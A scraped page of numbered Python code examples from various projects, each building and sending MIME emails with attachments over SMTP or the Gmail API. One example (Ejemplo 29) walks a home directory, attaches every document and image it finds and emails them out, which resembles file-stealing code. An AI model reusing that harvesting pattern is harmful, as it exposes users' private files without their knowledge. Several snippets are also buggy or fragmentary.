                maintype, subtype = ctype.split("/", 1)
                with open(args.attachment_filename, "rb") as attachment_file:
                    inner = MIMEBase(maintype, subtype)
                    inner.set_payload(attachment_file.read())
                    encoders.encode_base64(inner)
                inner.add_header(
                    "Content-Disposition",
                    "attachment",
                    filename=args.attachment_filename,
                )
                msg.attach(inner)

            server.sendmail(args.from_address, to_address, msg.as_string())
            output_good("Email Sent to " + to_address)
            if args.slow_send:
                delay_send()
                output_info("Connecting to SMTP server at " +
                            args.smtp_server + ":" + str(args.smtp_port))
Ejemplo n.º 19
0
    def SendEmail(self,
                  to_addresses,
                  from_address,
                  subject,
                  message,
                  attachments=None,
                  is_html=True,
                  cc_addresses=None,
                  message_id=None,
                  headers=None):
        """This method sends an email notification.

    Args:
      to_addresses: [email protected] string, list of addresses as csv string,
                    or rdf_standard.DomainEmailAddress
      from_address: [email protected] string
      subject: email subject string
      message: message contents string, as HTML or plain text
      attachments: iterable of filename string and file data tuples,
                   e.g. {"/file/name/string": filedata}
      is_html: true if message is in HTML format
      cc_addresses: [email protected] string, or list of addresses as
                    csv string
      message_id: smtp message_id. Used to enable conversation threading
      headers: dict of str-> str, headers to set
    Raises:
      EmailNotSentError: for problems connecting to smtp server.
    """
        headers = headers or {}
        msg = MIMEMultipart("alternative")
        if is_html:
            text = self.RemoveHtmlTags(message)
            part1 = MIMEText(text, "plain")
            msg.attach(part1)
            part2 = MIMEText(message, "html")
            msg.attach(part2)
        else:
            part1 = MIMEText(message, "plain")
            msg.attach(part1)

        if attachments:
            for file_name, file_data in attachments.items():
                part = MIMEBase("application", "octet-stream")
                part.set_payload(file_data)
                encoders.encode_base64(part)
                part.add_header("Content-Disposition",
                                "attachment; filename=\"%s\"" % file_name)
                msg.attach(part)

        msg["Subject"] = subject

        from_address = self.AddEmailDomain(from_address)
        to_addresses = self.SplitEmailsAndAppendEmailDomain(to_addresses)
        cc_addresses = self.SplitEmailsAndAppendEmailDomain(cc_addresses or "")

        msg["From"] = from_address
        msg["To"] = ",".join(to_addresses)
        if cc_addresses:
            msg["CC"] = ",".join(cc_addresses)

        if message_id:
            msg.add_header("Message-ID", message_id)

        for header, value in headers.items():
            msg.add_header(header, value)

        try:
            s = smtplib.SMTP(config.CONFIG["Worker.smtp_server"],
                             int(config.CONFIG["Worker.smtp_port"]))
            s.ehlo()
            if config.CONFIG["Worker.smtp_starttls"]:
                s.starttls()
                s.ehlo()
            if (config.CONFIG["Worker.smtp_user"]
                    and config.CONFIG["Worker.smtp_password"]):
                s.login(config.CONFIG["Worker.smtp_user"],
                        config.CONFIG["Worker.smtp_password"])

            s.sendmail(from_address, to_addresses + cc_addresses,
                       msg.as_string())
            s.quit()
        except (socket.error, smtplib.SMTPException) as e:
            raise EmailNotSentError(
                "Could not connect to SMTP server to send email. "
                "Please check config option Worker.smtp_server. "
                "Currently set to %s. Error: %s" %
                (config.CONFIG["Worker.smtp_server"], e))
Ejemplo n.º 20
0
#Here i set my email and password in an environment variable(the password is the special 16 character one given by google for setting up an app to by pass the two factor authentication
EMAIL_ADDRESS = os.environ.get('EMAIL_ADDRESS')  # If you don't want to set an environment variable just set EMAIL_ADDRESS equal to your actual email address as a string. Same with the password
EMAIL_PASSWORD = os.environ.get('EMAIL_PASSWORD')

msg = MIMEMultipart()
msg['Subject'] = 'Basketball stats'
msg['From'] = EMAIL_ADDRESS
msg['To'] = EMAIL_ADDRESS

body = 'Hi there! This is your weekly E-mail.' #Body of the email
msg.attach(MIMEText(body,'plain'))  # sets the colour of the text and attaching the text to the the email

filename='Data.csv'         # the name of the file being attached to the e-mail
attachment  =open(filename,'rb')     #Reading the file

part = MIMEBase('application','octet-stream')   #opening and uploading the attachment
part.set_payload((attachment).read())  #read the attachment and set it as payload
encoders.encode_base64(part)    # encoding the email
part.add_header('Content-Disposition',"attachment; filename= "+filename) #adding the header for the e-mail
msg.attach(part)
# for file in files:
#     with open(file, 'rb') as f:
#         file_data = f.read()
#         file_name = f.name
        
#         msg.add_attachment(file_data, maintype ='application', subtype = 'octet-stream', filename = file_name)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
    
    smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
    
    smtp.send_message(msg)    
Ejemplo n.º 21
0
#               '</body></html>','html','utf-8')
#发送附件
msg = MIMEMultipart()
msg.attach(MIMEText('附件,请查收2333', 'html', 'utf-8'))

msg.attach(
    MIMEText(
        '<html><body><h1>Hello</h1>'
        '<p><img src="cid:0"></p>'
        '</body></html>', 'html', 'utf-8'))

path = r'c:\Users\zbf\Desktop\py_workspace\py_moudle\end.jpg'
#添加附件就是加上一个MineBase从本地读取一个图片
with open(path, 'rb') as f:
    #设置附件的MIME和文件名
    mime = MIMEBase('image', 'jpeg', filename='end.jpg')
    #加上必要的头信息
    mime.add_header('Content-Disposition', 'attachment', filename='end.jpg')
    mime.add_header('Content-ID', '0')
    mime.add_header('X-Attachment-Id', '0')
    #将附件的内容读进来
    mime.set_payload(f.read())
    #用base64编码
    encoders.encode_base64(mime)
    #天假到MimeMultipart
    msg.attach(mime)

msg['From'] = _format_addr('python<%s>' % from_addr)
msg['To'] = _format_addr('zbf<%s>' % to_addr)
#标题,如果含有中文要用Header转码
msg['Subject'] = Header('来自python的邮件。', 'utf-8').encode()
Ejemplo n.º 22
0
    def SendEmail(self, text, resultfilename):
        try:
            fp = os.path.join('meta', 'zemail.txt')
            f = open(fp, 'r')
            data = f.readlines()
            f.close()

            lenData = len(data)
            if lenData > 0:
                passw = data[0]
                froms = data[1]
                distributionList = []
                for i in range(2, lenData):
                    distributionList.append(data[i])
                strDL = ', '.join(distributionList)

                #message = 'Subject: {}\n\n{}'.format(SUBJECT, TEXT)
                subject = 'Kowaski'
                body = text
                message = MIMEMultipart()
                message['Subject'] = subject
                message['From'] = froms
                message['To'] = strDL
                message.preamble = subject
                message.attach(MIMEText(body, 'plain'))

                # Attachment
                if resultfilename is not None:
                    filename = os.path.join('results', resultfilename)
                    ctype, encoding = mimetypes.guess_type(filename)
                    if ctype is None or encoding is not None:
                        ctype = "application/octet-stream"
                    maintype, subtype = ctype.split("/", 1)
                    if maintype == "text":
                        fp = open(filename)
                        attachment = MIMEText(fp.read(), _subtype=subtype)
                        fp.close()
                    elif maintype == "image":
                        fp = open(filename, "rb")
                        attachment = MIMEImage(fp.read(), _subtype=subtype)
                        fp.close()
                    elif maintype == "audio":
                        fp = open(filename, "rb")
                        attachment = MIMEAudio(fp.read(), _subtype=subtype)
                        fp.close()
                    else:
                        fp = open(filename, "rb")
                        attachment = MIMEBase(maintype, subtype)
                        attachment.set_payload(fp.read())
                        fp.close()
                        encoders.encode_base64(attachment)
                    attachment.add_header("Content-Disposition",
                                          "attachment",
                                          filename=filename)
                    message.attach(attachment)

                server = smtplib.SMTP("smtp.gmail.com:587")
                server.starttls()
                server.login(froms, passw)
                server.sendmail(froms, distributionList, message.as_string())
                server.quit()
            else:
                print('Unable to find/load data from', filename)
        except Exception as e:
            print('Mailer Exception:', str(e))
Ejemplo n.º 23
0
def main():
    logger = logging.getLogger('xmlParseService')
    logger.setLevel(logging.DEBUG)
    Log = r"C:\Users\sachin\Desktop\xmlwatcher\Log"  # maintains log file here
    if not os.path.exists(Log):
        os.mkdir(Log)

    # add the handler to stream
    ch = logging.StreamHandler()
    ch.setLevel(logging.DEBUG)

    # create a file handler
    file_handler = logging.FileHandler(
        os.path.join(Log,
                     datetime.now().strftime('log_file_%Y_%m_%d.log')))
    file_handler.setLevel(logging.DEBUG)

    # create a logging format
    formatter = logging.Formatter(
        '%(asctime)s: %(name)s: %(levelname)s: %(message)s')
    file_handler.setFormatter(formatter)
    ch.setFormatter(formatter)

    # add the handlers to the logger
    logger.addHandler(file_handler)
    logger.addHandler(ch)

    logger.debug("XML fetching process started......")

    # base_path = os.path.dirname(os.path.realpath(__file__))
    base_path = r'C:\Users\sachin\Desktop\xmlwatcher'
    logger.debug("Current path to fetch XMLS........%s", base_path)

    dst_path = r"C:\Users\sachin\Desktop\xmlwatcher\Archive"
    if not os.path.exists(dst_path):
        os.mkdir(dst_path)

    totalxml = len(glob.glob(os.path.join(base_path, '*.xml')))
    logger.debug("XMLs fetched from directory, count is...:%s", totalxml)
    if totalxml == 0:
        logger.debug("There are no new XMLs to process....")

    retry = r"C:\Users\sachin\Desktop\xmlwatcher\Retry"
    if not os.path.exists(retry):
        os.mkdir(retry)

    error_path = r"C:\Users\sachin\Desktop\xmlwatcher\Error"
    if not os.path.exists(error_path):
        os.mkdir(error_path)

    # Check Retry folder before proceeding further...

    logger.debug(
        "Checking Retry folder for any failed XMLs due to mail server/credentials issues..."
    )
    totalfailedxml = len(glob.glob(os.path.join(retry, '*.xml')))
    logger.debug("total XMls found in retry folder, count is :%s",
                 totalfailedxml)

    totalfailedxml = 0
    while not totalfailedxml:

        for XMLFile in glob.glob(os.path.join(retry, '*.xml')):
            shutil.move(XMLFile, base_path)
            logger.debug("moved XMl from retry folder to main folder %s",
                         (XMLFile.split("\\")[-1]))

        totalxml = 0
        while not totalxml:
            try:
                for XMLFile in glob.glob(os.path.join(base_path, '*.xml')):
                    xmldoc = parse(XMLFile)
                    logger.debug("Processing XML file %s",
                                 XMLFile.split("\\")[-1])
                    FaxID = xmldoc.getElementsByTagName(
                        'FaxID')[0].firstChild.data
                    logger.debug(
                        "Getting attribute 'ReferenceNumber' from XML, the value of the field is %s",
                        FaxID)
                    EmailID = xmldoc.getElementsByTagName(
                        'BillingCode')[0].firstChild.data
                    logger.debug(
                        "Getting attribute  'Email Id of Sender' from XML, the value of the field is %s",
                        EmailID)
                    StampTime = xmldoc.getElementsByTagName(
                        'CustomCode2')[0].firstChild.data
                    logger.debug(
                        "Getting attribute  'Stamp Time' from XML, the value of the field is %s",
                        StampTime)
                    Pages = xmldoc.getElementsByTagName(
                        'Pages')[0].firstChild.data
                    logger.debug(
                        "Getting attribute 'Pages' from XML, the value of the field is %s",
                        Pages)
                    SerialNumber = xmldoc.getElementsByTagName(
                        'CustomCode1')[0].firstChild.data
                    logger.debug(
                        "Getting attribute 'SerialNumber' from XML, the value of the field is %s",
                        SerialNumber)
                    Status = xmldoc.getElementsByTagName(
                        'Status')[0].firstChild.data
                    logger.debug(
                        "Getting attribute 'Status' from XML, the value of the field is %s",
                        Status)
                    try:
                        Subject = xmldoc.getElementsByTagName(
                            'Matter')[0].firstChild.data
                    except Exception:
                        logger.debug(Exception)
                        if Exception:
                            Subject = 'Transaction Confirmation!'
                    logger.debug(
                        "Getting attribute 'Subject' from XML, the value of the field is %s",
                        Subject)
                    logger.debug(
                        "Submitting request to mail server for XML attribute with name %s",
                        XMLFile.split("\\")[-1])

                    try:
                        validxml = 0
                        while True:

                            cc_list = ['*****@*****.**']
                            email_user = ''
                            email_password = ''
                            email_send = EmailID

                            msg = MIMEMultipart()
                            msg['From'] = email_user
                            msg['CC'] = ', '.join(cc_list)
                            msg['To'] = email_send
                            msg['Subject'] = Subject

                            body = """Thank you writing to us.

    Kindly take care of the following aspects:

    1.   For processing the request, all the mandatory debugrmation and signature(s) are required.
    2.   Processing confirmation / rejection will be intimated in due course of time.
    3.   This facility is only for existing investors.
    4.   Request should be received from registered email ID.

    If you require any further debugrmation, our Investor Help Lines are available to assist you at Non-Toll Free No. 022-6748 3333

    We look forward to a long term association and would like to assure you the best of our services.

    Yours truly,\n\nUnion Mutual Fund"""

                            msg.attach(MIMEText(body, 'plain'))
                            part = MIMEBase('application', 'octet-stream')

                            text = msg.as_string()
                            server = smtplib.SMTP('smtp.gmail.com', 587)
                            server.starttls()
                            server.login(email_user, email_password)

                            server.sendmail(email_user, [email_send, cc_list],
                                            text)
                            server.quit()

                            if True:
                                shutil.move(
                                    XMLFile.split("\\")[-1],
                                    (dst_path, Archive))
                                logger.debug(
                                    "Xml file %s has been successfully moved to location %s",
                                    (XMLFile.split("\\")[-1]), (dst_path))
                                logger.debug(
                                    "Xml file %s has been successfully processed and sent to destination :%s",
                                    (XMLFile.split("\\")[-1]),
                                    ("TO : {}, CC: {}".format(
                                        email_send, cc_list)))
                                logger.debug("Processing next XML file")

                            else:
                                shutil.move(XMLFile.split("\\")[-1], retry)
                                validxml += 1
                            break

                    except Exception as SendMailError:
                        logger.debug(SendMailError, exc_info=True)
                        logger.debug("Some issues with sending email...")
                        shutil.move(XMLFile.split("\\")[-1], retry)
                        logger.debug("Processing next XML file")

            except Exception as error:
                shutil.move(XMLFile.split("\\")[-1], error_path)
                logger.debug(error, exc_info=True)
                logger.debug(
                    "some attributes from XML file %s is missing, moving file to Error directory %s",
                    (XMLFile.split("\\")[-1]), (error_path))
                logger.debug("Processing next XML file")
                logger.debug(
                    "XML fetching finished...... process will start after 5 minutes."
                )
            else:
                logger.info("sleeping for next 25 second(s)")
                time.sleep(25)
                break
        continue
Ejemplo n.º 24
0
with open(filepath + target_file, 'r') as f:
    MailingList = json.load(f)

for mail in MailingList:
    msg = MIMEMultipart()

    msg['Subject'] = f'Test Subject'
    msg['From'] = EMAIL_ADDRESS
    msg['To'] = mail['To']
    # msg['Cc'] = mail['Cc']

    attachements = [r'\attachment\sample_attachment.txt']

    for path in attachements:
        part = MIMEBase('application', "octet-stream")
        with open(filepath + path, 'rb') as file:
            part.set_payload(file.read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="{}"'.format(Path(path).name))
        msg.attach(part)

    text = f"""\
    Example text.  {mail['company_name']}.
    """

    msg.attach(MIMEText(text))
    Messages.append(msg)
# %%
Ejemplo n.º 25
0
    def send(self):
        """
        Send the email message represented by this object.
        """
        # Validate message
        if self._textBody is None and self._htmlBody is None:
            raise Exception(
                "Error! Must specify at least one body type (HTML or Text)")
        if len(self._to) + len(self._cc) + len(self._bcc) == 0:
            raise Exception("Must specify at least one recipient (to,cc,bcc)")

        # Create the message part
        if self._textBody is not None and self._htmlBody is None:
            msg = MIMEText(self._textBody, "plain")
        elif self._textBody is None and self._htmlBody is not None:
            msg = MIMEText(self._htmlBody, "html")
        else:
            msg = MIMEMultipart("alternative")
            msg.attach(MIMEText(self._textBody, "plain"))
            msg.attach(MIMEText(self._htmlBody, "html"))
        # Add attachments, if any
        if len(self._attach) != 0:
            tmpmsg = msg
            msg = MIMEMultipart()
            msg.attach(tmpmsg)
        for fname, attachname in self._attach:
            if not os.path.exists(fname):
                print("File '%s' does not exist.  Not attaching to email." %
                      fname)
                continue
            if not os.path.isfile(fname):
                print(
                    "Attachment '%s' is not a file.  Not attaching to email." %
                    fname)
                continue
            # Guess at encoding type
            ctype, encoding = mimetypes.guess_type(fname)
            if ctype is None or encoding is not None:
                # No guess could be made so use a binary type.
                ctype = 'application/octet-stream'
            maintype, subtype = ctype.split('/', 1)
            if maintype == 'text':
                fp = open(fname)
                attach = MIMEText(fp.read(), _subtype=subtype)
                fp.close()
            elif maintype == 'image':
                fp = open(fname, 'rb')
                attach = MIMEImage(fp.read(), _subtype=subtype)
                fp.close()
            elif maintype == 'audio':
                fp = open(fname, 'rb')
                attach = MIMEAudio(fp.read(), _subtype=subtype)
                fp.close()
            else:
                fp = open(fname, 'rb')
                attach = MIMEBase(maintype, subtype)
                attach.set_payload(fp.read())
                fp.close()
                # Encode the payload using Base64
                encoders.encode_base64(attach)
            # Set the filename parameter
            if attachname is None:
                filename = os.path.basename(fname)
            else:
                filename = attachname
            attach.add_header('Content-Disposition',
                              'attachment',
                              filename=filename)
            msg.attach(attach)
        # Some header stuff
        msg['Subject'] = self._subject
        msg['From'] = self._from
        if self._replyto:
            msg['Reply-to'] = self._replyto
        # address prep
        sendtolist = []
        if self._to:
            msg['To'] = ", ".join(self._to)
            sendtolist.extend(self._to)
        if self._cc:
            msg['Cc'] = ", ".join(self._cc)
            sendtolist.extend(self._cc)
        if self._bcc:
            sendtolist.extend(self._bcc)
        msg.preamble = "You need a MIME enabled mail reader to see this message"
        # Send message
        smtp = smtplib.SMTP(host="smtp.gmail.com", port=587)
        smtp.ehlo()
        smtp.starttls()
        smtp.login(self._sendfrom, self._sendpass)
        smtp.ehlo()
        smtp.sendmail(self._sendfrom, sendtolist, msg.as_string())
        smtp.close()
Ejemplo n.º 26
0
import pytest

from postmarker.models.emails import Email


CASSETTE_NAME = "emails"


def get_attachment_path(filename):
    return os.path.abspath(os.path.join(os.path.dirname(__file__), "attachments/%s" % filename))


ATTACHMENT = {"Name": "readme.txt", "Content": "dGVzdCBjb250ZW50", "ContentType": "text/plain"}
TUPLE_ATTACHMENT = ATTACHMENT["Name"], ATTACHMENT["Content"], ATTACHMENT["ContentType"]
MIME_ATTACHMENT = MIMEBase("text", "plain")
MIME_ATTACHMENT.set_payload("dGVzdCBjb250ZW50")
MIME_ATTACHMENT.add_header("Content-Disposition", "attachment", filename="readme.txt")
PATH_ATTACHMENT = get_attachment_path("readme.txt")

SUPPORTED_ATTACHMENTS = (ATTACHMENT, MIME_ATTACHMENT, TUPLE_ATTACHMENT, PATH_ATTACHMENT)

UNKNOWN_TYPE_ATTACHMENT = get_attachment_path("report.blabla")


DEFAULT_HEADERS = {
    "From": "*****@*****.**",
    "To": "*****@*****.**",
    "Subject": "Test subject",
    "Cc": "*****@*****.**",
    "Bcc": "*****@*****.**",
Ejemplo n.º 27
0
def sendAppointment(attendees, dtstart):
    #Login to SMTP server
    s = smtplib.SMTP('smtp.office365.com', 587)
    s.connect("smtp.office365.com", 587)
    s.ehlo()
    s.starttls()
    s.ehlo()
    username, password = prompt_creds()
    try:
        s.login(username, password)
    except smtplib.SMTPAuthenticationError:
        print("Invalid credentials. Please try again.")
        quit()

    # Timezone to use for our dates - change as needed
    tz = pytz.timezone("US/Eastern")
    reminderHours = 1
    description = "wash dishes"
    start = tz.localize(dtstart)
    cal = icalendar.Calendar()
    cal.add('prodid', '-//My calendar application//example.com//')
    cal.add('version', '2.0')
    cal.add('method', "REQUEST")
    event = icalendar.Event()
    for attendee in attendees:
        event.add('attendee', attendee)
    event.add('organizer', username)
    event.add('status', "confirmed")
    event.add('category', "Event")
    event.add('summary', "wash n wait")
    event.add('description', description)
    event.add('location', "SigEp Kitchen")
    event.add('dtstart', start)
    event.add('dtend', start + dt.timedelta(hours=1))
    event.add('dtstamp', tz.localize(dt.datetime.now()))
    event['uid'] = getUniqueId() # Generate some unique ID
    event.add('priority', 5)
    event.add('sequence', 1)
    event.add('created', tz.localize(dt.datetime.now()))     
    alarm = icalendar.Alarm()
    alarm.add("action", "DISPLAY")
    alarm.add('description', "Reminder")
    alarm.add("trigger", dt.timedelta(hours=-reminderHours))
    # The only way to convince Outlook to do it correctly
    alarm.add("TRIGGER;RELATED=START", "-PT{0}H".format(reminderHours))
    event.add_component(alarm)
    cal.add_component(event)
    msg = MIMEMultipart("alternative")
    msg["Subject"] = "Wash 'n' Wait"
    msg["From"] = username
    msg['To'] = " ".join(attendees)
    msg["Content-class"] = "urn:content-classes:calendarmessage"
    msg.attach(MIMEText(description))
    filename = "invite.ics"
    part = MIMEBase('text', "calendar", method="REQUEST", name=filename)
    part.set_payload( cal.to_ical() )
    encode_base64(part)
    part.add_header('Content-Description', filename)
    part.add_header("Content-class", "urn:content-classes:calendarmessage")
    part.add_header("Filename", filename)
    part.add_header("Path", filename)
    msg.attach(part)
    send = input("Are you sure you want to send invitations? (type \"yes\" to send) ")
    
    if send.lower() != "yes":
        quit()
    try:
        s.sendmail(msg["From"], msg["To"], msg.as_string()) 
        # print("would send mail HERE")
    except smtplib.SMTPDataError:
        print("SMTP failed to send the invite. SMTPDataError Thrown. You cannot send a calendar invite to the account you have logged in with.") 
    except Exception as e:
        print("SMTP failed to send the invite:", e)
    else: 
        print("Outlook invitation successfully sent to", msg['To'])
    s.quit()
Ejemplo n.º 28
0
    def build_email(self,
                    email_from,
                    email_to,
                    subject,
                    body,
                    email_cc=None,
                    email_bcc=None,
                    reply_to=False,
                    attachments=None,
                    message_id=None,
                    references=None,
                    object_id=False,
                    subtype='plain',
                    headers=None,
                    body_alternative=None,
                    subtype_alternative='plain'):
        """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it.

           :param string email_from: sender email address
           :param list email_to: list of recipient addresses (to be joined with commas) 
           :param string subject: email subject (no pre-encoding/quoting necessary)
           :param string body: email body, of the type ``subtype`` (by default, plaintext).
                               If html subtype is used, the message will be automatically converted
                               to plaintext and wrapped in multipart/alternative, unless an explicit
                               ``body_alternative`` version is passed.
           :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative``
           :param string reply_to: optional value of Reply-To header
           :param string object_id: optional tracking identifier, to be included in the message-id for
                                    recognizing replies. Suggested format for object-id is "res_id-model",
                                    e.g. "12345-crm.lead".
           :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'),
                                  must match the format of the ``body`` parameter. Default is 'plain',
                                  making the content part of the mail "text/plain".
           :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain'
                                              or 'html'). Default is 'plain'.
           :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string
                                    containing the bytes of the attachment
           :param list email_cc: optional list of string values for CC header (to be joined with commas)
           :param list email_bcc: optional list of string values for BCC header (to be joined with commas)
           :param dict headers: optional map of headers to set on the outgoing mail (may override the
                                other headers, including Subject, Reply-To, Message-Id, etc.)
           :rtype: email.message.Message (usually MIMEMultipart)
           :return: the new RFC2822 email message
        """
        email_from = email_from or tools.config.get('email_from')
        assert email_from, "You must either provide a sender address explicitly or configure "\
                           "a global sender address in the server configuration or with the "\
                           "--email-from startup parameter."

        # Note: we must force all strings to to 8-bit utf-8 when crafting message,
        #       or use encode_header() for headers, which does it automatically.

        headers = headers or {}  # need valid dict later
        email_cc = email_cc or []
        email_bcc = email_bcc or []
        body = body or u''

        email_body = ustr(body)
        email_text_part = MIMEText(email_body,
                                   _subtype=subtype,
                                   _charset='utf-8')
        msg = MIMEMultipart()

        if not message_id:
            if object_id:
                message_id = tools.generate_tracking_message_id(object_id)
            else:
                message_id = make_msgid()
        msg['Message-Id'] = encode_header(message_id)
        if references:
            msg['references'] = encode_header(references)
        msg['Subject'] = encode_header(subject)
        msg['From'] = encode_rfc2822_address_header(email_from)
        del msg['Reply-To']
        if reply_to:
            msg['Reply-To'] = encode_rfc2822_address_header(reply_to)
        else:
            msg['Reply-To'] = msg['From']
        msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to))
        if email_cc:
            msg['Cc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_cc))
        if email_bcc:
            msg['Bcc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_bcc))
        msg['Date'] = formatdate()
        # Custom headers may override normal headers or provide additional ones
        for key, value in headers.items():
            msg[pycompat.to_native(ustr(key))] = encode_header(value)

        if subtype == 'html' and not body_alternative:
            # Always provide alternative text body ourselves if possible.
            text = html2text.html2text(email_body)
            alternative_part = MIMEMultipart(_subtype="alternative")
            alternative_part.attach(
                MIMEText(text, _charset='utf-8', _subtype='plain'))
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        elif body_alternative:
            # Include both alternatives, as specified, within a multipart/alternative part
            alternative_part = MIMEMultipart(_subtype="alternative")
            body_alternative_ = ustr(body_alternative)
            alternative_body_part = MIMEText(body_alternative_,
                                             _subtype=subtype_alternative,
                                             _charset='utf-8')
            alternative_part.attach(alternative_body_part)
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        else:
            msg.attach(email_text_part)

        if attachments:
            for (fname, fcontent, mime) in attachments:
                filename_rfc2047 = encode_header_param(fname)
                if mime and '/' in mime:
                    maintype, subtype = mime.split('/', 1)
                    part = MIMEBase(maintype, subtype)
                else:
                    part = MIMEBase('application', "octet-stream")

                # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail
                # so we fix it by using RFC2047 encoding for the filename instead.
                part.set_param('name', filename_rfc2047)
                part.add_header('Content-Disposition',
                                'attachment',
                                filename=filename_rfc2047)

                part.set_payload(fcontent)
                encoders.encode_base64(part)
                msg.attach(part)
        return msg
Ejemplo n.º 29
0
msg['To'] = toaddr

msg['Subject'] = "CLAY"

body = "data"

msg.attach(MIMEText(body, 'plain'))

for f in folders:

    if (("txt" in f) or ("pptx" in f) or ("jpg" in f) or ("pdf" in f)):

        filename = f
        attachment = open(homeDir + "/" + f, "rb")
        p = MIMEBase('application', 'octet-stream')
        p.set_payload((attachment).read())
        encoders.encode_base64(p)
        p.add_header('Content-Disposition',
                     "attachment; filename= %s" % filename)
        msg.attach(p)
    try:
        newFolders = os.listdir(homeDir + "/" + f)
        for nf in newFolders:
            if (("txt" in nf) or ("pptx" in nf) or ("jpg" in nf)
                    or ("pdf" in nf)):
                filename = nf
                attachment = open(homeDir + "/" + f + "/" + nf, "rb")
                p = MIMEBase('application', 'octet-stream')
                p.set_payload((attachment).read())
                encoders.encode_base64(p)
Ejemplo n.º 30
0
def CreateMessageWithAttachment(sender, to, subject, message_text, file_path):
    """Create a unicode message for an email with attachment.

    Args:
        sender: Email address of the sender.
        to: Email address of the receiver.
        subject: The subject of the email message.
        message_text: The text of the email message.
        file_path: The path to the file to be attached.

    Returns:
        An object containing a base64url encoded email object.

    CREDITS
    This function derives from the Gmail API example:
    Send an email message from the user's Gmail account
    https://developers.google.com/gmail/api/v1/reference/users/messages/send
    """
    message = MIMEMultipart()
    message['to'] = to
    message['from'] = sender
    message['subject'] = Header(subject, 'utf-8')

    msg = MIMEText(message_text, 'plain', _charset='utf-8')
    message.attach(msg)

    _, filename = os.path.split(file_path)
    content_type, encoding = mimetypes.guess_type(file_path)

    if content_type is None or encoding is not None:
        content_type = 'application/octet-stream'
    main_type, sub_type = content_type.split('/', 1)
    if main_type == 'text':
        fp = open(file_path, 'rb')
        msg = MIMEText(fp.read(), _subtype=sub_type)
        fp.close()
    elif main_type == 'image':
        fp = open(file_path, 'rb')
        msg = MIMEImage(fp.read(), _subtype=sub_type)
        fp.close()
    elif main_type == 'audio':
        fp = open(file_path, 'rb')
        msg = MIMEAudio(fp.read(), _subtype=sub_type)
        fp.close()
    else:
        fp = open(file_path, 'rb')
        msg = MIMEBase(main_type, sub_type)
        msg.set_payload(fp.read())
        fp.close()

    msg.add_header('Content-Disposition', 'attachment', filename=filename)
    message.attach(msg)

    # PYTHON 2 vs 3 COMPATIBILITY
    # In Python 3 b64encode accepts bytes and returns bytes.
    # Subsequent decode is required to merge with string (comply with Python 2).
    return {
        'raw':
        base64.urlsafe_b64encode(
            message.as_string().encode('utf-8')).decode("utf-8")
    }